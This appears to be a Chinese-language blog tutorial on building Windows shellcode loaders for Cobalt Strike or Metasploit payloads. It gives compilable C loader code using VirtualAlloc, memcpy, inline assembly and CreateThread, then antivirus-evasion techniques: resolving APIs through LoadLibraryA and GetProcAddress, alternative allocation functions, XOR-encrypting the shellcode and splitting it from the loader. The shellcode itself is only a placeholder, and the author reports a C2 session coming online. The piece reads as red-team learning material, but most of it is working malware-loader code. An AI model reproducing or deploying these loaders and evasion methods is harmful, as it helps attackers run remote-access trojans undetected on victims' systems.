少女祈祷中...

shellcode 这个概念本应来自pwn,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名

Shellcode 是一组通常用汇编语言编写的机器代码指令,旨在由计算机处理器直接执行。因为汇编指令是特定于体系结构的,这限制了 shellcode 在不同处理器之间的可移植性

为什么需要shellcode 加载器

使用cs或者msf生成的exe远控木马,特征极强,当使用shellcode 加载的方式上线,更容易做免杀操作,接下来的是Windows下的shellcode加载器

shellcode 生成

暂且现在水平有限,还不会手搓shellcode,使用工具生成shellcode

cs

选择监听器

shellcode加载步骤

基本都是差不多的步骤

  1. 向操作系统申请一段可写可执行的内存
  2. 将shellcode 拷贝到申请的内存中
  3. 将程序的EIP指向shellcode区域,执行shellcode

  1. 申请虚拟内存

windows中最常见的Windows API就是VirtualAlloc

LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress, // 指定分配内存的起始地址,NULL表示由系统决定地址
[in] SIZE_T dwSize, // 分配的内存大小(字节数)
[in] DWORD flAllocationType, // 内存的分配类型
[in] DWORD flProtect // 内存区域的保护属性
);
  • flAllocationType:指定内存分配的方式,常用值如下:

    • MEM_COMMIT​:将内存页面从保留状态变为提交状态,使其可读写。
    • MEM_RESERVE​:保留一块虚拟地址空间,但不实际分配物理内存。与 MEM_COMMIT​ 搭配使用。
    • MEM_RESET​:通知系统内存已不再需要,但并不影响该内存块的使用。
    • MEM_RELEASE​:释放内存,将 dwSize​ 设为 0​ 。
  • lProtect:设置内存页面的访问权限,常用值包括:

    • PAGE_READONLY​:只读访问。
    • PAGE_READWRITE​:可读写访问。
    • PAGE_EXECUTE_READWRITE​:可执行和读写访问。

LPVOID​ 是Windows API中的一种指针类型,定义在<windows.h>​中。实际上是一个指向任意类型的指针,通常定义为 void*​ 类型的别名。

使用:

PVOID p=NULL;
p= (char*)VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);

可以先申请为可读可写,然后使用VirtualProtect 修改权限,或者直接修改存储shellcode变量内存区域的权限

DWORD oldProtect;
VirtualProtect((LPVOID)p, sizeof p, PAGE_EXECUTE_READWRITE, &oldProtect);

或者

VirtualProtect(&buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);

[in] lpAddress​:要更改访问保护属性的页面区域的起始页面的地址。

[out] lpflOldProtect​:指向变量的指针,该变量接收指定页面区域中第一页的先前访问保护值。如果此参数为NULL或未指向有效变量,则函数失败

  1. 拷贝到内存

memcpy: c语言中标准函数,用于复制内存

memcpy(p,shellcode,sizeof (shellcode));

或者使用CopyMeory

CopyMeory(shellcode,buf,sizeof(buf));

  1. 执行shellcode

最简单的就是指针执行

((  void(*)() ) p) ();

将指针p强制转为无返回参数的函数指针 调用

最后代码:

#include <stdio.h>
#include <Windows.h>


unsigned char buf[] = "shellcode......";

int main() {
PVOID p=NULL;
p= (char*)VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(p,buf,sizeof (buf));
if (p==NULL){
printf("error");
}
(( void(*)() ) p) ();
return 0;
}

关闭杀软,编译运行

成功上线cs

这个只是最简单的shellcode loader ,还没有任何的免杀操作,落地就会被杀软干掉,杀软静态检测都过不了

通过代码大致了解了shellcode 如何去加载执行

本质上,程序中shellcode存放的数据放在数据段,其不具备可执行权限,所以是不能直接执行的

而我们需要做的正是将其具备RWX权限

其他执行方式

上面介绍了指针执行,下面还有几种执行方式

内联汇编

只适用于x86

指定编译器赋予数据段可读可写可执行权限

#include <stdio.h>
#include <Windows.h>

#pragma comment(linker,"/section:.data,RWE")

unsigned char buf[] = "shellcode“;

void asm_exe() {
__asm
{
lea eax, buf;
call eax;
}
}

线程执行

可以去看PE文件中TLS表相关内容,可以注册回调函数,在进程或者线程创建或者销毁时候执行,类似与dll中的主函数

void thread_exe() {
DWORD dwThread;
HANDLE hThread;
char* shellcode = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(shellcode,buf,sizeof(buf));
hThread=CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThread);
WaitForSingleObject(hThread, INFINITE);
}

一点点Bypass

一些免杀思路:

  1. 对shellcode加密:杀软可能扫描字符串,并且未加密 的shellcode 静态扫描就能暴露 c2地址
  2. 调用功能相似的api: 替换调一些常用api
  3. 使用LoadLibraryA​动态加载调用函数:上篇PE文件结构里面就提到过,导入表,调用外部的函数,将会出现在导入表中,这样杀软可以扫描导入表来判断
  4. shellcod 与加载器分离,分离加载

除此之外呢,还可以编写驱动程序,上升为内核态与安全设备对抗

动态获取函数

LoadLibraryA 加载一个dll, kerneal32.dll 基本每一个exe都会加载,所以加载这个dll没问题

HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);

返回值是模块的句柄。

HMODULE hKernel32 = LoadLibraryA("Kernel32.dll");

GetProcAddress 获取 函数地址

FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);

[in] hModule​ :包含函数或变量的 DLL 模块的句柄。 LoadLibraryLoadLibraryExLoadPackagingLibraryGetModuleHandle函数返回此句柄。

如果函数成功,返回值是导出函数或变量的地址。

GetProcAddress(hKernel32, "VirtualAlloc");

int main() {

typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES,SIZE_T,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);

HMODULE hKernel32 = LoadLibraryA("Kernel32.dll");
pVirtualAlloc PVirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");
pVirtualProtect PVirtualProtect = (pVirtualProtect)GetProcAddress(hKernel32, "VirtualProtect");
pCreateThread PCreateThread = (pCreateThread)GetProcAddress(hKernel32, "CreateThread");
pWaitForSingleObject PWaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernel32, "WaitForSingleObject");

DWORD oldProtect=0;
BOOL flag=PVirtualProtect(&buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
DWORD dwTHread;
HANDLE hThread = PCreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)(CHAR*)buf, NULL, NULL, &dwTHread);
PWaitForSingleObject(hThread, INFINITE);
return 0;
}

此外还可以进一步隐藏行为,遍历当前进程的PEB和TEB拿到Kernernal32的基址(后续更新)

VirtualAlloc 可以进行替换

GlobalAlloc
CoTaskMemAlloc
RtlCreateHeap
AllocADsMem
ReallocADsMem

加密

杀软会扫描字符串,所以需要对原始的shellcode进行加密,通过静态检查

xor

void xor_encrypt(unsigned char* data, int data_len, const char* key) {
int key_len = strlen(key);

for (int i = 0; i < data_len; i++) {
data[i] ^= key[i % key_len]; // 按密钥循环异或
}
}

然后shellcode loader中存放加密的字符串,然后解密后进行加载

Reference